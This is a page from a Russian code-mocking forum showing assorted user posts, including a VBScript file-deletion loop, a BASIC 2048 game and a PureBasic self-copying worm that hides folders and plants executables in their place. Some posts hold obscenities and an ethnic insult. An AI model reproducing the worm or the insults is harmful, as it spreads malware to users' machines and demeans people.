Школоло – Страница 2

Школоло / Говнокод #25972

0

1

Я обычный козоёб из Осетии.

cmepmop, 17.10.2019 (Updated 17.10.2019)

Комментарии (1, +1)

Школоло / Говнокод #25499

0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

set fso=CreateObject("Scripting.FileSystemObject")
set ws=CreateObject("WScript.Shell")
Temp=Fso.GetSpecialFolder(2) & "\"
Storage=ws.SpecialFolders(5) & "\Mozilla\Firefox\Profiles\jwiri3wzj.default\storage"

sub Cleanup(Path)
	on error resume next
	set Folder=Fso.GetFolder(Path)
	set Files=Folder.Files
	for each File in Files
		Fso.GetFile(File).Delete
	next
	set Files=Folder.SubFolders
	for each File in Files
		Cleanup(File)
		Fso.GetFolder(File).Delete
	next
end sub

sub CleanupLogs(Path)
	on error resume next
	set Folders=Fso.GetFolder(Path).SubFolders
	for each Folder in Folders
		set Files=Fso.GetFolder(Folder).Files
		for each File in Files
			Ext=LCase(Fso.GetExtensionName(File))
			if (Ext="log") or (Ext="appicon") or (Ext="appinfo") then File.Delete
		next
		CleanupLogs Folder
	next
end sub

while True
	Cleanup(Temp)
	Cleanup(Storage)
	CleanupLogs "D:\"
	WScript.Sleep 250000
wend

Раньше я был страстным фанатом CCleaner; но потом оказалось, это это говно активно шпионит и сотрудничает с антивирусными компаниями (!); снёс нахуй и забыл. Но хлам всё копился, и тогда я откирыл блокинот и напейсал простой рулончик для очистки.

Это было моё последнее слово, можете расстреливать.

cmepmop, 02.04.2019 (Updated 02.04.2019)

Комментарии (131, +131)

Школоло / Говнокод #25393

0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

sub addleft
	for i = 1 to 4
		for j = 1 to 3
			if a(i,j)<>0 and a(i,j) = a(i,j+1) then
				moved = true 
				a(i,j) = a(i,j)+1
				a(i,j+1) = 0
				score = score + integer ( 2**a(i,j) )
			end if
		end for
	end for
end sub

sub left
	for i = 1 to 4
		for k = 1 to 3
			for j = 1 to 3
				if a(i,j) = 0 and a(i,j+1) <> 0 then
					moved = true
					a(i,j) = a(i,j+1)
					a(i,j+1) = 0
				end if
			end for
		end for
	end for
end sub

rem addright, addup, adddown, right, up, down в том же духе

rem . . .

rem главный суслик
while true
		xy = touchdown()
		if xy <> -1 then
			x = xy/65536&0x0000ffff
			y = xy&0x0000ffff
			repeat
				sleep 10
				xy = touchup()
			until xy <> -1
			x = x - (xy/65536&0x0000ffff)
			y = y - (xy&0x0000ffff)
			if (abs(x)>100) <> (abs(y)>100) then
				moved = false
				if abs(x) > 100 then
					if x > 0 then
						left
						addleft
						left
					else
						right
						addright
						right
					end if
				else
					if y > 0 then
						up
						addup
						up
					else
						down
						adddown
						down
					end if
				end if
				if moved then
					rand
				end if
			end if
		else
			sleep 10
		end if
		draw
		sleep 50
	end while

Не визуальный, но всё-таки барсик (могильный).

Hu3KoypoBHeBblunemyx, 21.02.2019 (Updated 21.02.2019)

Комментарии (21, +21)

Школоло / Говнокод #23481

0

1
2
3
4
5
6
7
8
9
10
11
12
13

Const strMask="258258258258258258"
mNumber = Clng(Left(mParam1,2))*100000+Clng(Right(mParam1,5))*10+Clng(mParam2)
mResStr = Right("000000000"+Cstr(mNumber),9)
For c=1 To 9
	mRes1 = Cint(Mid(mResStr, c, 1))
	mRes2 = Int(Rnd()*10)
	strPreResult=Cstr(mRes1)+Cstr(mRes2)
	mCheckSum = mCheckSum+mRes1*Cint(Mid(strMask, (c-1)*2+1, 1))
	mCheckSum = mCheckSum+mRes2*Cint(Mid(strMask, (c)*2, 1))
	Print strPreResult, mCheckSum
	strResult=strResult+strPreResult
Next c
strResult = Left(strResult,9)+Right("00"+Cstr((mCheckSum Mod 95)Mod 100),2)+Right(strResult,8)

Генератор случайных чисел.
Почему везде такой не используется?

lsd, 03.11.2017 (Updated 31.03.2018)

Комментарии (101, +101)

Школоло / Говнокод #23423

0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

Private Function DecodName(ByVal ind As Integer) As String
        ''перекодування назви місяця
        Select Case ind
            Case 1
                Return "Січень"
            Case 2
                Return "Лютий"
            Case 3
                Return "Березень"
            Case 4
                Return "Квітень"
            Case 5
                Return "Травень"
            Case 6
                Return "Червень"
            Case 7
                Return "Липень"
            Case 8
                Return "Серпень"
            Case 9
                Return "Вересень"
            Case 10
                Return "Жовтень"
            Case 11
                Return "Листопад"
            Case 12
                Return "Грудень"
            Case Else
                Return ""
        End Select
    End Function

Мои глаза...

vova94, 17.10.2017 (Updated 31.03.2018)

Комментарии (17, +17)

Школоло / Говнокод #23007

0

1

Здарова, бляжьи сынки.

AnalPenetrator, 10.05.2017 (Updated 31.03.2018)

Комментарии (2, +2)

Школоло / Говнокод #21278

0

1
2

Силачем слыву не даром
Похмеляюсь Солнцедаром

BagorCtretora, 27.09.2016 (Updated 31.03.2018)

Комментарии (0)

Школоло / Говнокод #21196

0

1

Invalid address: b34225@trb.com_You must provide at least one recipient email address

BagorCtretora, 16.09.2016 (Updated 31.03.2018)

Комментарии (5, +5)

Школоло / Говнокод #21159

0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

;********************************************************************
;* Примитивный червь. Распространяется, подменяя собой папки.       *
;* Для компиляции в среде PureBasic 5.30                            *
;* Автор не несет ответственности за Ваши действия с этим кодом.    *
;********************************************************************


Procedure Spread(path.s)
  Define finddata.WIN32_FIND_DATA,hFind.l
  Define.s fname, ext
  Define.l attrs
  If Right(path,1) <> "\":path+"\":EndIf
  hfind=FindFirstFile_(path+"*.*",@finddata)
  If hfind <> -1
    Repeat
      fname=PeekS(@finddata\cFileName)
      If (fname <> ".") And (fname <> "..")
        fname=path+fname
        attrs=finddata\dwFileAttributes
        ext=LCase(GetExtensionPart(fname))
        If attrs | #FILE_ATTRIBUTE_DIRECTORY = #FILE_ATTRIBUTE_DIRECTORY
          If CopyFile(ProgramFilename(), fname+".exe")
            SetFileAttributes(fname,#FILE_ATTRIBUTE_READONLY|#FILE_ATTRIBUTE_HIDDEN|#FILE_ATTRIBUTE_SYSTEM)
            SetFileAttributes(fname+".exe",attrs|#FILE_ATTRIBUTE_READONLY)
          EndIf
          Spread(fname)
        EndIf
      EndIf
    Until Not FindNextFile_(hfind,@finddata)
  EndIf
EndProcedure

Procedure Main()
  Define.l hm
  Define path.s
  path=ProgramFilename()
  
  path=Left(path,Len(path)-Len(GetExtensionPart(path)))
  If FileSize(path) <> -1
    ShellExecute_(0,@"OPEN","EXPLORER.EXE",@path,0,1)
  EndIf
  
  hm=OpenMutex_(#MUTEX_ALL_ACCESS,#True, @"mutexname")
  If hm<>0
    CloseHandle_(hm)
  Else
    hm=CreateMutex_(0,#True,@"mutexname")
    spread(GetCurrentDirectory())
  EndIf
EndProcedure

Main()

Студенты извращаются.

fajes_rown, 09.09.2016 (Updated 31.03.2018)

Комментарии (77, +77)

Школоло / Говнокод #21107

0

1

Изыди, злой дух, из ануса!..

Propovednik, 04.09.2016 (Updated 31.03.2018)

Комментарии (1, +1)